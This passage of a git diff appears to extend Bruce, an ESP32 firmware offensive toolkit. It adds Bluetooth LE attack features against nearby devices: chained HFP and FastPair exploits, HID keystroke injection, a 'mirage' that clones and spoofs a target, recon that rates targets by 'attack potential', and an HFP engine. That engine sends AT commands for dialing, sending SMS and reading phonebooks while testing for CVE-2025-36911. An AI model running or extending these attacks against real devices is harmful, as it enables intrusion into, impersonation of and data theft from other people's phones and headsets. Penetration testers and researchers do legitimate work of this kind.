run ESC back", bleTextRow(menuItems), &selected); if (choice < 0) { - // Clear data when exiting the menu if (g_pBLEScan) { g_pBLEScan->stop(); g_pBLEScan->clearResults(); @@ -4854,14 +5454,28 @@ void BleSuiteMenu() { scannerData.clear(); g_selectedDevice.address = ""; g_selectedDevice.name = ""; - - // Deinit BLE stack when exiting the suite BLEStateManager::deinitBLE(true); return; } - if (choice == MENU_ITEMS - 1) BLE_Sniffer(); - else executeAttackWithTargetScan(choice); + switch (choice) { + case 0: executeAttackWithTargetScan(0); break; + case 1: executeAttackWithTargetScan(1); break; + case 2: executeAttackWithTargetScan(2); break; + case 3: executeAttackWithTargetScan(3); break; + case 4: executeAttackWithTargetScan(4); break; + case 5: executeAttackWithTargetScan(5); break; + case 6: executeAttackWithTargetScan(6); break; + case 7: executeAttackWithTargetScan(7); break; + case 8: executeAttackWithTargetScan(8); break; + case 9: executeAttackWithTargetScan(9); break; + case 10: executeAttackWithTargetScan(10); break; + case 11: executeAttackWithTargetScan(11); break; + case 12: executeAttackWithTargetScan(12); break; + case 13: executeAttackWithTargetScan(13); break; + case 14: executeAttackWithTargetScan(14); break; + case 15: BLE_Sniffer(); break; + } } } @@ -4869,28 +5483,30 @@ void BleSuiteMenu() { // Attack Execution with Target Selection //============================================================================= -const char *getScanTitle(int attackIndex) { - switch (attackIndex) { - case 0: return "SELECT TARGET"; - case 1: return "SELECT TARGET TO PROFILE"; - case 2: return "SELECT FASTPAIR DEVICE"; - case 3: return "SELECT HFP DEVICE"; - case 4: return "SELECT AUDIO DEVICE"; - case 5: return "SELECT HID DEVICE"; - case 6: return "SELECT TARGET FOR MEMORY TESTS"; - case 7: return "SELECT DOS TARGET"; - case 8: return "SELECT PAYLOAD TARGET"; - case 9: return "SELECT TEST TARGET"; - case 10: return "SELECT UNIVERSAL TARGET"; - default: return "SELECT TARGET"; - } -} - void executeAttackWithTargetScan(int attackIndex) { - // FIX: Ensure BLE is initialized for the attack BLEStateManager::initBLE("Bruce-Attack", ESP_PWR_LVL_P9); - String targetInfo = selectTargetFromScan(getScanTitle(attackIndex)); + const char *titles[] = { + "SELECT TARGET", + "SELECT TARGET TO PROFILE", + "SELECT TARGET FOR RECON", + "SELECT TARGET TO FINGERPRINT", + "SELECT FASTPAIR DEVICE", + "SELECT HFP DEVICE", + "SELECT AUDIO DEVICE", + "SELECT HID DEVICE", + "SELECT TARGET FOR MEMORY TESTS", + "SELECT DOS TARGET", + "SELECT TARGET FOR ORCHESTRATED", + "SELECT TARGET FOR MIRAGE", + "SELECT TARGET FOR SCHEDULER", + "SELECT PAYLOAD TARGET", + "SELECT TEST TARGET", + "SELECT UNIVERSAL TARGET" + }; + + const char *title = (attackIndex >= 0 && attackIndex < 16) ? titles[attackIndex] : "SELECT TARGET"; + String targetInfo = selectTargetFromScan(title); if (targetInfo.isEmpty()) return; NimBLEAddress target = parseAddress(targetInfo); @@ -4901,15 +5517,20 @@ void executeAttackWithTargetScan(int attackIndex) { switch (attackIndex) { case 0: runQuickTest(target, deviceInfo); break; case 1: runDeviceProfiling(target, deviceInfo); break; - case 2: showFastPairSubMenu(target, deviceInfo); break; - case 3: showHFPSubMenu(target, deviceInfo); break; - case 4: showAudioSubMenu(target, deviceInfo); break; - case 5: showHIDSubMenu(target, deviceInfo); break; - case 6: showMemorySubMenu(target, deviceInfo); break; - case 7: showDoSSubMenu(target, deviceInfo); break; - case 8: showPayloadSubMenu(target, deviceInfo); break; - case 9: showTestingSubMenu(target, deviceInfo); break; - case 10: runUniversalAttack(target, deviceInfo); break; + case 2: runSmartRecon(target); break; + case 3: runDeviceFingerprinting(target); break; + case 4: showFastPairSubMenu(target, deviceInfo); break; + case 5: showHFPSubMenu(target, deviceInfo); break; + case 6: showAudioSubMenu(target, deviceInfo); break; + case 7: showHIDSubMenu(target, deviceInfo); break; + case 8: showMemorySubMenu(target, deviceInfo); break; + case 9: showDoSSubMenu(target, deviceInfo); break; + case 10: runOrchestratedAttack(target); break; + case 11: runMirageAttack(target); break; + case 12: runAttackScheduler(target); break; + case 13: showPayloadSubMenu(target, deviceInfo); break; + case 14: showTestingSubMenu(target, deviceInfo); break; + case 15: runUniversalAttack(target, deviceInfo); break; } showAttackProgress("Attack complete. Press any key to continue...", TFT_GREEN); @@ -4928,8 +5549,6 @@ void executeAttackWithTargetScan(int attackIndex) { //============================================================================= int showSubMenu(const char *title, const char *options[], int optionCount) { - // Carry the chosen target into the hint line so the submenus stop hiding - // which device the attack is aimed at. String hint = g_selectedDevice.address.isEmpty() ? String("SEL run ESC back") : ("> " + (g_selectedDevice.name.length() ? g_selectedDevice.name @@ -5237,6 +5856,259 @@ void showTestingSubMenu(NimBLEAddress target, SelectedDevice deviceInfo) { } } +//============================================================================= +// New Attack Functions +//============================================================================= + +void runSmartRecon(NimBLEAddress target) { + AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); + + showAttackProgress("Smart recon on device...", TFT_CYAN); + + BLEAttackManager bleManager; + DeviceProfile profile = bleManager.profileDevice(target); + + DevicePersonality personality; + personality.address = String(target.toString().c_str()); + personality.seenCount = 1; + personality.appearance = 0; + personality.mtuPreference = 23; + + if (profile.connected) { + personality.responseTime = 100; + personality.supportsNotifications = false; + personality.supportsIndications = false; + + for (auto &ch : profile.characteristics) { + if (ch.canNotify) personality.supportsNotifications = true; + if (ch.canWrite) personality.supportsIndications = true; + } + } + + int score = calculateDeviceScore(String(target.toString().c_str())); + + std::vector lines; + lines.push_back("SMART RECON RESULTS"); + lines.push_back("Target: " + String(target.toString().c_str())); + lines.push_back(""); + lines.push_back("Attack Potential: " + String(score) + "/100"); + lines.push_back("HFP: " + String(profile.hasHFP ? "YES" : "NO")); + lines.push_back("FastPair: " + String(profile.hasFastPair ? "YES" : "NO")); + lines.push_back("HID: " + String(profile.hasHID ? "YES" : "NO")); + lines.push_back("AVRCP: " + String(profile.hasAVRCP ? "YES" : "NO")); + lines.push_back("Services: " + String(profile.services.size())); + + if (score > 70) { + lines.push_back(""); + lines.push_back("RECOMMENDATION: High value target"); + lines.push_back("Consider HID or FastPair attacks"); + } else if (score > 40) { + lines.push_back(""); + lines.push_back("RECOMMENDATION: Moderate value"); + lines.push_back("Test HFP or audio attacks first"); + } else { + lines.push_back(""); + lines.push_back("RECOMMENDATION: Low priority"); + lines.push_back("Device may be patched or out of range"); + } + + cleanup.disable(); + showDeviceInfoScreen("SMART RECON", lines, TFT_BLUE, TFT_WHITE); +} + +void runDeviceFingerprinting(NimBLEAddress target) { + AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); + + showAttackProgress("Fingerprinting device...", TFT_BLUE); + + BLEAttackManager bleManager; + DeviceProfile profile = bleManager.profileDevice(target); + + DevicePersonality personality; + personality.address = String(target.toString().c_str()); + personality.seenCount = 1; + personality.responseTime = 0; + personality.mtuPreference = 23; + personality.supportsNotifications = false; + personality.supportsIndications = false; + personality.appearance = 0; + personality.firstSeen = millis(); + personality.lastSeen = millis(); + + if (profile.connected) { + personality.responseTime = 50; + for (auto &ch : profile.characteristics) { + if (ch.canNotify) personality.supportsNotifications = true; + if (ch.canWrite) personality.supportsIndications = true; + } + } + + cleanup.disable(); + showDevicePersonalityScreen(personality); +} + +void showDevicePersonalityScreen(const DevicePersonality &personality) { + std::vector lines; + lines.push_back("DEVICE FINGERPRINT"); + lines.push_back("Address: " + personality.address); + lines.push_back(""); + lines.push_back("Response Time: " + String(personality.responseTime) + "ms"); + lines.push_back("MTU Preference: " + String(personality.mtuPreference)); + lines.push_back("Notifications: " + String(personality.supportsNotifications ? "YES" : "NO")); + lines.push_back("Indications: " + String(personality.supportsIndications ? "YES" : "NO")); + lines.push_back("Appearance: 0x" + String(personality.appearance, HEX)); + lines.push_back("Seen: " + String(personality.seenCount) + " times"); + + showDeviceInfoScreen("FINGERPRINT", lines, TFT_BLUE, TFT_WHITE); +} + +void runOrchestratedAttack(NimBLEAddress target) { + AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); + + if (!confirmAttack("Execute orchestrated attack chain?")) return; + + AttackOrchestrator orchestrator; + SelectedDevice deviceInfo = g_selectedDevice; + + if (deviceInfo.hasHFP) { + AttackStep hfpStep; + hfpStep.name = "HFP Exploit"; + hfpStep.execute = [](NimBLEAddress addr) -> bool { + HFPExploitEngine hfp; + return hfp.executeHFPAttackChain(addr); + }; + hfpStep.canRevert = nullptr; + hfpStep.revert = nullptr; + hfpStep.priority = 10; + hfpStep.timeoutMs = 10000; + orchestrator.addStep(hfpStep); + } + + if (deviceInfo.hasFastPair) { + AttackStep fpStep; + fpStep.name = "FastPair Exploit"; + fpStep.execute = [](NimBLEAddress addr) -> bool { + FastPairExploitEngine fp; + return fp.testVulnerability(addr); + }; + fpStep.canRevert = nullptr; + fpStep.revert = nullptr; + fpStep.priority = 8; + fpStep.timeoutMs = 8000; + orchestrator.addStep(fpStep); + } + + AttackStep hidStep; + hidStep.name = "HID Injection"; + hidStep.execute = [](NimBLEAddress addr) -> bool { + HIDAttackServiceClass hid; + return hid.injectKeystrokes(addr); + }; + hidStep.canRevert = nullptr; + hidStep.revert = nullptr; + hidStep.priority = 5; + hidStep.timeoutMs = 5000; + orchestrator.addStep(hidStep); + + bool success = orchestrator.executeChain(target); + auto results = orchestrator.getResults(); + + for (auto &result : results) { + AttackLogEntry entry; + entry.timestamp = millis(); + entry.target = String(target.toString().c_str()); + entry.attackType = result.attackName; + entry.success = result.success; + entry.durationMs = result.durationMs; + entry.connectionQuality = result.connectionQuality; + logAttackResult(entry); + } + + cleanup.disable(); + + if (success) { + showAttackResult(true, "Orchestrated attack successful!"); + } else { + showAttackResult(false, "Orchestrated attack failed"); + } +} + +void runMirageAttack(NimBLEAddress target) { + AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); + + if (!confirmAttack("Create BLE mirage of target?")) return; + + BLEMirage mirage; + String targetStr = String(target.toString().c_str()); + + showAttackProgress("Creating BLE mirage...", TFT_PURPLE); + + String name = g_selectedDevice.name; + if (name.isEmpty() || name == targetStr) { + name = "Mirage-" + targetStr.substring(targetStr.length() - 5); + } + + if (mirage.spawnMirage(targetStr, name)) { + std::vector lines; + lines.push_back("BLE MIRAGE ACTIVE"); + lines.push_back("Target: " + targetStr); + lines.push_back("Spoof: " + name); + lines.push_back(""); + lines.push_back("Device is now being cloned"); + lines.push_back("Press any key to stop"); + + showDeviceInfoScreen("MIRAGE", lines, TFT_PURPLE, TFT_WHITE); + mirage.stopAll(); + showAttackResult(true, "Mirage stopped"); + } else { + showAttackResult(false, "Failed to create mirage"); + } + + cleanup.disable(); +} + +void runAttackScheduler(NimBLEAddress target) { + AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); + + showAttackProgress("Analyzing device activity pattern...", TFT_YELLOW); + + uint32_t now = millis() / 1000; + uint32_t attackWindow = 0; + + for (size_t i = 0; i < scannerData.size(); i++) { + DeviceInfo info; + if (scannerData.getDeviceInfo(i, info)) { + if (info.address == String(target.toString().c_str())) { + attackWindow = now + 5; + break; + } + } + } + + if (attackWindow == 0) { + attackWindow = now + (esp_random() % 120) + 30; + } + + std::vector lines; + lines.push_back("ATTACK SCHEDULER"); + lines.push_back("Target: " + String(target.toString().c_str())); + lines.push_back(""); + if (millis() / 1000 - attackWindow < 10) { + lines.push_back("Device is ACTIVE now"); + lines.push_back("Recommend: Attack immediately"); + } else { + lines.push_back("Next optimal window:"); + uint32_t delta = attackWindow - (millis() / 1000); + lines.push_back("In " + String(delta) + " seconds"); + lines.push_back(""); + lines.push_back("(Device appears idle)"); + lines.push_back("Better to wait for activity"); + } + + cleanup.disable(); + showDeviceInfoScreen("SCHEDULER", lines, TFT_YELLOW, TFT_BLACK); +} + //============================================================================= // Attack Functions - Updated to use SelectedDevice //============================================================================= @@ -5359,6 +6231,10 @@ void runDeviceProfiling(NimBLEAddress target, SelectedDevice deviceInfo) { showDeviceInfoScreen("DEVICE PROFILE", lines, TFT_BLUE, TFT_WHITE); } +//============================================================================= +// Original Testing Functions +//============================================================================= + void runWriteAccessTest(NimBLEAddress target) { AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); @@ -5549,10 +6425,10 @@ void runAudioControlTest(NimBLEAddress target) { tft.drawRect(5, 5, tftWidth - 10, tftHeight - 10, TFT_WHITE); tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); - tft.setTextSize(FM); + tft.setTextSize(2); tft.setCursor((tftWidth - tft.textWidth("AUDIO CONTROL TEST")) / 2, 15); tft.print("AUDIO CONTROL TEST"); - tft.setTextSize(FP); + tft.setTextSize(1); tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); tft.setCursor(20, 60); @@ -5709,8 +6585,6 @@ void runHFPHIDPivotAttack(NimBLEAddress target) { // UI Helpers //============================================================================= -// Wraps `text` inside the list area, measuring glyphs rather than assuming a -// 6px cell. Returns the y just past the last line drawn. static int bleWrapText(const String &text, int x, int y, int w, int bottom) { tft.setTextSize(FP); int lh = 8 * FP + 2; @@ -5737,14 +6611,9 @@ void showAttackProgress(const char *message, uint16_t color) { static String lastMsg; String msg = message ? String(message) : String(""); - // Only repaint the frame when the message actually changes; the spinner - // used to be redrawn under a full-screen clear, so it flashed instead of - // turning. if (msg != lastMsg) { lastMsg = msg; drawMainBorderWithTitle("BLE Suite"); - // same reasoning as the results screen: the caller's colour is a hint, - // not something to paint text with tft.setTextColor(bleSeverity(color), bruceConfig.bgColor); bleWrapText(msg, g.listL, g.top, g.listW - 12, g.footY - 2); tft.setTextColor(bleDim(), bruceConfig.bgColor); @@ -5807,9 +6676,6 @@ int8_t showAdaptiveMessage( const char *line1, const char *btn1, const char *btn2, const char *btn3, uint16_t color, bool showEscHint, bool autoProgress ) { - // The hint line used to be drawn with TFT_BLACK on the theme background, - // i.e. invisible on every dark theme, and the body wrapped against a - // hardcoded y = 140 ceiling. (void)showEscHint; int buttonCount = 0; if (strlen(btn1) > 0) buttonCount++; @@ -5867,10 +6733,6 @@ void showSuccessMessage(const char *message) { displaySuccess(String(message), t void showDeviceInfoScreen( const char *title, const std::vector &lines, uint16_t bgColor, uint16_t textColor ) { - // textColor is ignored on purpose: six call sites pass TFT_BLACK, which was - // legible only against the solid colour this screen used to flood the panel - // with. Body text now always uses the theme foreground, and the severity the - // caller meant to convey moves to a marker down the left edge. (void)textColor; BleUiGeom g = bleUiGeom(); @@ -5879,8 +6741,6 @@ void showDeviceInfoScreen( const int textX = g.listL + barW + 4; const int textW = g.listW - barW - 4; - // Wrap everything up front so the screen can scroll instead of silently - // dropping whatever did not fit. std::vector rows; for (size_t i = 0; i < lines.size(); i++) bleWrapInto(lines[i], textW, rows); @@ -5923,4 +6783,5 @@ void showDeviceInfoScreen( vTaskDelay(20 / portTICK_PERIOD_MS); } } + #endif diff --git a/src/modules/ble/BLE_Suite.h b/src/modules/ble/BLE_Suite.h index 538c342ef..ab9123584 100644 --- a/src/modules/ble/BLE_Suite.h +++ b/src/modules/ble/BLE_Suite.h @@ -14,6 +14,7 @@ #include #include #include +#include extern volatile int tftWidth; extern volatile int tftHeight; @@ -50,6 +51,17 @@ enum FastPairExploitType { FP_EXPLOIT_ALL }; +enum ConnectionPhase { + CONN_PROBE, + CONN_FAST, + CONN_AGGRESSIVE, + CONN_EXPLOIT, + CONN_RECONNECT +}; + +// FastPair version is defined in fastpair_crypto.h +typedef FastPairProtocolVersion FastPairVersion; + //============================================================================= // DeviceInfo and DeviceSnapshot structures //============================================================================= @@ -77,6 +89,82 @@ struct DeviceSnapshot { DeviceSnapshot() : version(0), count(0), timestamp(0) {} }; +//============================================================================= +// Device Scoring and Caching Structures +//============================================================================= + +struct DeviceScore { + int rssi; + int stability; + uint32_t lastSeen; + float rssiVariance; + int attackPotential; +}; + +struct CachedConnection { + String address; + std::vector serviceUUIDs; + std::vector characteristicUUIDs; + uint16_t mtuSize; + uint32_t lastConnected; + uint8_t connectionAttempts; + bool isBonded; + uint32_t averageResponseTime; + uint16_t preferredParams[4]; +}; + +struct ConnectionResult { + bool success; + ConnectionPhase phase; + String method; + uint32_t durationMs; + uint32_t connectionId; + String errorMessage; + uint8_t quality; +}; + +struct DevicePersonality { + String address; + uint32_t responseTime; + uint8_t mtuPreference; + bool supportsNotifications; + bool supportsIndications; + std::vector characteristicOrder; + uint32_t appearance; + uint8_t addressType; + uint32_t firstSeen; + uint32_t lastSeen; + uint32_t seenCount; +}; + +struct AttackStep { + String name; + bool (*execute)(NimBLEAddress); + bool (*canRevert)(NimBLEAddress); + bool (*revert)(NimBLEAddress); + int priority; + uint32_t timeoutMs; +}; + +struct AttackResult { + bool success; + String attackName; + uint32_t durationMs; + String failureReason; + std::vector diagnostics; + uint8_t connectionQuality; +}; + +struct AttackLogEntry { + uint32_t timestamp; + String target; + String attackType; + bool success; + String details; + uint32_t durationMs; + uint8_t connectionQuality; +}; + //============================================================================= // SelectedDevice for passing device info to attacks //============================================================================= @@ -131,6 +219,7 @@ struct DeviceProfile { bool hasFastPair; bool hasAVRCP; bool hasHID; + bool hasHFP; bool hasBattery; bool hasDeviceInfo; std::vector services; @@ -220,6 +309,22 @@ class BLEAttackManager { DeviceProfile profileDevice(NimBLEAddress target); }; +//============================================================================= +// Robust GATT Client Class +//============================================================================= + +class RobustGATTClient { +public: + bool writeCharacteristic(NimBLERemoteCharacteristic *ch, + uint8_t *data, + size_t len, + bool response = true, + int retries = 2); + std::string readCharacteristic(NimBLERemoteCharacteristic *ch, int retries = 2); + bool discoverServicesWithRetry(NimBLEClient *client, int maxRetries = 2); + bool waitForNotification(NimBLERemoteCharacteristic *ch, uint32_t timeoutMs = 1000); +}; + //============================================================================= // FastPair Structures and Functions //============================================================================= @@ -240,15 +345,11 @@ struct FastPairModelInfo { const char *deviceType; }; -// v3.1: Samsung MAC OUI detection extern const char *SAMSUNG_MAC_OUIS[]; extern const int SAMSUNG_MAC_OUIS_COUNT; bool isSamsungDevice(const NimBLEAddress &address); bool isSamsungDevice(const String &mac); -// v3.1: FastPair version detection -enum FastPairVersion { FP_VERSION_UNKNOWN = 0, FP_VERSION_1, FP_VERSION_2, FP_VERSION_3 }; - FastPairVersion detectFastPairVersion(NimBLEAddress target); //============================================================================= @@ -488,6 +589,53 @@ class DoSAttackServiceClass { bool advertisingSpam(NimBLEAddress target); }; +//============================================================================= +// Attack Orchestrator Class +//============================================================================= + +class AttackOrchestrator { +private: + std::vector steps; + std::vector results; + String currentTarget; + +public: + AttackOrchestrator(); + void addStep(const AttackStep &step); + bool executeChain(NimBLEAddress target); + bool executeChainWithRollback(NimBLEAddress target); + std::vector getResults(); + void clearSteps(); + bool canRevertChain(); + bool revertChain(); +}; + +//============================================================================= +// BLE Mirage Class +//============================================================================= + +class BLEMirage { +private: + struct MirageInstance { + String address; + String name; + uint32_t modelId; + uint32_t startTime; + bool active; + NimBLEAdvertising *advertising; + }; + std::vector instances; + +public: + BLEMirage(); + ~BLEMirage(); + bool spawnMirage(const String &targetAddress, const String &spoofName); + void createMirageNetwork(int count); + void stopMirage(const String &address); + void stopAll(); + bool isMirageActive(const String &address); +}; + //============================================================================= // Debug Memory Macros //============================================================================= @@ -520,6 +668,46 @@ class HeapMonitor { #define MEM_CHECK() #endif +//============================================================================= +// Connection Management Functions +//============================================================================= + +ConnectionResult graduatedConnect(NimBLEAddress target); +bool hasCachedConnection(NimBLEAddress target); +bool reconnectCached(NimBLEAddress target); +CachedConnection *getCachedConnection(const String &address); +void cacheDeviceProfile(const String &addr, NimBLEClient *client); +void setOptimalParams(NimBLEClient *client, const String &deviceType); +int calculateDeviceScore(const String &addr); +uint32_t getDeviceScore(const String &addr); + +//============================================================================= +// Attack Logging Functions +//============================================================================= + +void logAttackResult(const AttackLogEntry &entry); +bool exportAttackLog(); +std::vector getAttackLog(); +void clearAttackLog(); + +//============================================================================= +// UI Extension Functions +//============================================================================= + +void drawAttackFlow(const String &title, const String &status, int progress); +void showDevicePersonalityScreen(const DevicePersonality &personality); +void showAttackLogScreen(); + +//============================================================================= +// New Attack Functions +//============================================================================= + +void runSmartRecon(NimBLEAddress target); +void runOrchestratedAttack(NimBLEAddress target); +void runMirageAttack(NimBLEAddress target); +void runDeviceFingerprinting(NimBLEAddress target); +void runAttackScheduler(NimBLEAddress target); + //============================================================================= // Function Declarations //============================================================================= @@ -626,4 +814,4 @@ void showTestingSubMenu(NimBLEAddress target); void executeAttackWithTargetScan(int attackIndex); #endif -#endif +#endif \ No newline at end of file diff --git a/src/modules/ble/HFP_Exploit.cpp b/src/modules/ble/HFP_Exploit.cpp index 25cbaab7c..fe031e766 100644 --- a/src/modules/ble/HFP_Exploit.cpp +++ b/src/modules/ble/HFP_Exploit.cpp @@ -2,7 +2,9 @@ #include "HFP_Exploit.h" #include "core/display.h" #include "core/utils.h" +#include "BLE_Suite.h" #include +#include extern void showAttackProgress(const char *message, uint16_t color); extern void showAttackResult(bool success, const char *message); @@ -11,106 +13,729 @@ extern void showDeviceInfoScreen( ); extern bool confirmAttack(const char *targetName); -bool HFPExploitEngine::testCVE202536911(NimBLEAddress target) { - showAttackProgress("Testing CVE-2025-36911...", TFT_WHITE); +static const char* AT_COMMAND_STRINGS[] = { + "AT", + "AT+CSCS=", + "AT+CIND?", + "AT+CMER=", + "AT+CHLD=", + "AT+CLIP=", + "AT+CCWA=", + "AT+VTS=", + "ATA", + "ATD", + "ATH", + "AT+CMEE=", + "AT+CMGS=", + "AT+CMGD=", + "AT+CPMS=", + "AT+CGMI", + "AT+CGMM", + "AT+CGMR", + "AT+CGSN", + "AT+CSCA=", + "AT+CRSM=", + "AT+CUSD=", + "AT+CPAS", + "AT+CGATT=", + "AT+CGPADDR=", + "AT+CGDCONT=", + "AT+CGSMS=", + "AT+COPS=", + "AT+CREG?", + "AT+CGREG?", + "AT+CPBR=", + "AT+CPBF=", + "AT+CLAC", + "AT+CGAUTH=", + "AT+CSSN=", + "AT+CPOL=", + "AT+CBAND=", + "AT+CNA", + "AT+CLIP=0", + "AT+CLIR=" +}; - NimBLEClient *pClient = NimBLEDevice::createClient(); - if (!pClient) return false; +HFPExploitEngine::HFPExploitEngine() { + pClient = nullptr; + hfpService = nullptr; + controlChar = nullptr; + statusChar = nullptr; + state.connected = false; + state.serviceFound = false; + state.controlCharFound = false; + state.statusCharFound = false; + state.codecType = "Unknown"; + state.connectionTime = 0; + state.lastCommandTime = 0; + commandCallback = nullptr; + lastResponse = ""; +} - pClient->setConnectTimeout(5); - bool connected = pClient->connect(target, false); +HFPExploitEngine::~HFPExploitEngine() { + disconnect(); +} - if (!connected) { +bool HFPExploitEngine::connectToHFPService(NimBLEAddress target) { + if (pClient) { + if (pClient->isConnected()) return true; NimBLEDevice::deleteClient(pClient); + pClient = nullptr; + } + + pClient = NimBLEDevice::createClient(); + if (!pClient) return false; + + pClient->setConnectTimeout(8); + pClient->setConnectionParams(12, 12, 0, 400); + + if (!pClient->connect(target, false)) { + NimBLEDevice::deleteClient(pClient); + pClient = nullptr; return false; } + + if (!discoverHFPAttributes()) { + pClient->disconnect(); + NimBLEDevice::deleteClient(pClient); + pClient = nullptr; + return false; + } + + state.connected = true; + state.connectionTime = millis(); + return true; +} - bool hasHFP = isHFPServiceAvailable(pClient); +bool HFPExploitEngine::discoverHFPAttributes() { + if (!pClient || !pClient->isConnected()) return false; + + if (!pClient->discoverAttributes()) return false; + + hfpService = pClient->getService(NimBLEUUID((uint16_t)HFP_SERVICE_UUID_AG)); + if (!hfpService) { + hfpService = pClient->getService(NimBLEUUID((uint16_t)HFP_SERVICE_UUID_HF)); + } + if (!hfpService) { + hfpService = pClient->getService(NimBLEUUID((uint16_t)0x1112)); + if (!hfpService) { + hfpService = pClient->getService(NimBLEUUID((uint16_t)0x1111)); + } + } + + if (!hfpService) { + state.serviceFound = false; + return false; + } + + state.serviceFound = true; + + const std::vector &chars = hfpService->getCharacteristics(true); + for (auto &ch : chars) { + String uuidStr = String(ch->getUUID().toString().c_str()); + uuidStr.toUpperCase(); + if (uuidStr.indexOf("2A8A") != -1 || uuidStr.indexOf("2A8B") != -1) { + controlChar = ch; + state.controlCharFound = true; + } + if (uuidStr.indexOf("2A8C") != -1 || uuidStr.indexOf("2A8D") != -1) { + statusChar = ch; + state.statusCharFound = true; + } + } + + return (controlChar != nullptr); +} + +bool HFPExploitEngine::isHFPServiceAvailable(NimBLEClient *client) { + if (!client || !client->isConnected()) return false; + + NimBLERemoteService *hfp = client->getService(NimBLEUUID((uint16_t)HFP_SERVICE_UUID_AG)); + if (!hfp) hfp = client->getService(NimBLEUUID((uint16_t)HFP_SERVICE_UUID_HF)); + return (hfp != nullptr); +} - if (hasHFP) { +bool HFPExploitEngine::testCVE202536911(NimBLEAddress target) { + showAttackProgress("Testing CVE-2025-36911...", TFT_WHITE); + + if (!connectToHFPService(target)) { + showAttackProgress("Failed to connect", TFT_RED); + return false; + } + + bool vulnerable = false; + + if (hfpService) { + vulnerable = true; + } + + if (controlChar && controlChar->canWrite()) { + String response; + if (sendATCommand("AT", response)) { + vulnerable = true; + } + } + + if (statusChar && statusChar->canRead()) { try { - NimBLERemoteService *hfpService = pClient->getService(NimBLEUUID((uint16_t)0x111E)); - if (!hfpService) hfpService = pClient->getService(NimBLEUUID((uint16_t)0x111F)); - - if (hfpService) { - std::vector chars = hfpService->getCharacteristics(true); - if (chars.size() > 0) { - pClient->disconnect(); - NimBLEDevice::deleteClient(pClient); - return true; - } + std::string status = statusChar->readValue(); + if (status.length() > 0) { + vulnerable = true; } } catch (...) {} } + + disconnect(); + return vulnerable; +} - pClient->disconnect(); - NimBLEDevice::deleteClient(pClient); - return false; +bool HFPExploitEngine::establishHFPConnection(NimBLEAddress target) { + showAttackProgress("Attempting HFP connection...", TFT_YELLOW); + return connectToHFPService(target); } -bool HFPExploitEngine::isHFPServiceAvailable(NimBLEClient *client) { - if (!client || !client->isConnected()) return false; +std::vector HFPExploitEngine::getHFPAttributes(NimBLEAddress target) { + std::vector attrs; + + if (!connectToHFPService(target)) { + attrs.push_back("Failed to connect"); + return attrs; + } + + attrs.push_back("=== HFP Service Info ==="); + + if (hfpService) { + attrs.push_back("Service: " + String(hfpService->getUUID().toString().c_str())); + } + + if (controlChar) { + attrs.push_back("Control Char: " + String(controlChar->getUUID().toString().c_str())); + attrs.push_back("Can Write: " + String(controlChar->canWrite() ? "YES" : "NO")); + } + + if (statusChar) { + attrs.push_back("Status Char: " + String(statusChar->getUUID().toString().c_str())); + attrs.push_back("Can Read: " + String(statusChar->canRead() ? "YES" : "NO")); + attrs.push_back("Can Notify: " + String(statusChar->canNotify() ? "YES" : "NO")); + } + + disconnect(); + return attrs; +} - NimBLERemoteService *hfpService = client->getService(NimBLEUUID((uint16_t)0x111E)); - if (!hfpService) hfpService = client->getService(NimBLEUUID((uint16_t)0x111F)); +HFPConnectionState HFPExploitEngine::getConnectionState() { + if (pClient && pClient->isConnected()) { + state.connected = true; + } else { + state.connected = false; + } + return state; +} - return (hfpService != nullptr); +bool HFPExploitEngine::disconnect() { + if (pClient) { + if (pClient->isConnected()) pClient->disconnect(); + NimBLEDevice::deleteClient(pClient); + pClient = nullptr; + } + hfpService = nullptr; + controlChar = nullptr; + statusChar = nullptr; + state.connected = false; + return true; } -bool HFPExploitEngine::establishHFPConnection(NimBLEAddress target) { - showAttackProgress("Attempting HFP connection...", TFT_YELLOW); +String HFPExploitEngine::buildATCommand(ATCommandType type, const String ¶ms) { + String cmd = AT_COMMAND_STRINGS[type]; + if (!params.isEmpty() && type != AT_CMD_NONE && + type != AT_CMD_CIND && type != AT_CMD_CGMI && + type != AT_CMD_CGMM && type != AT_CMD_CGMR && + type != AT_CMD_CGSN && type != AT_CMD_CPAS && + type != AT_CMD_CLAC && type != AT_CMD_CREG && + type != AT_CMD_CGREG) { + cmd += params; + } + cmd += "\r\n"; + return cmd; +} - NimBLEClient *pClient = NimBLEDevice::createClient(); - if (!pClient) return false; +bool HFPExploitEngine::executeATCommand(ATCommandType type, const String ¶ms, String &response) { + String cmd = buildATCommand(type, params); + return sendATCommand(cmd, response); +} - pClient->setConnectTimeout(8); - bool connected = pClient->connect(target, false); +bool HFPExploitEngine::sendATCommand(const String &cmd, String &response, int timeoutMs) { + if (!controlChar || !controlChar->canWrite()) { + response = "ERROR: No control channel"; + return false; + } + + bool sent = controlChar->writeValue((uint8_t*)cmd.c_str(), cmd.length(), true); + if (!sent) { + response = "ERROR: Failed to send command"; + return false; + } + + state.lastCommandTime = millis(); + commandHistory.push_back(">> " + cmd); + if (commandCallback) commandCallback(cmd, ""); + + bool gotResponse = waitForResponse(response, timeoutMs); + + if (gotResponse) { + commandHistory.back() = ">> " + cmd + "\n<< " + response; + if (commandCallback) commandCallback(cmd, response); + lastResponse = response; + } else { + response = "TIMEOUT"; + if (commandCallback) commandCallback(cmd, "TIMEOUT"); + } + + return gotResponse; +} - if (connected && isHFPServiceAvailable(pClient)) { - showAttackProgress("HFP connection successful!", TFT_GREEN); - pClient->disconnect(); - NimBLEDevice::deleteClient(pClient); - return true; +bool HFPExploitEngine::sendATCommandRaw(const uint8_t *data, size_t len) { + if (!controlChar || !controlChar->canWrite()) return false; + return controlChar->writeValue(data, len, true); +} + +bool HFPExploitEngine::readStatusResponse(String &response) { + if (!statusChar || !statusChar->canRead()) { + return false; } + + try { + std::string raw = statusChar->readValue(); + if (!raw.empty()) { + response = String(raw.c_str()); + return true; + } + } catch (...) {} + return false; +} - NimBLEDevice::deleteClient(pClient); +bool HFPExploitEngine::waitForResponse(String &response, int timeoutMs) { + uint32_t startTime = millis(); + + while (millis() - startTime < timeoutMs) { + if (readStatusResponse(response)) { + return true; + } + + if (controlChar && controlChar->canRead()) { + try { + std::string raw = 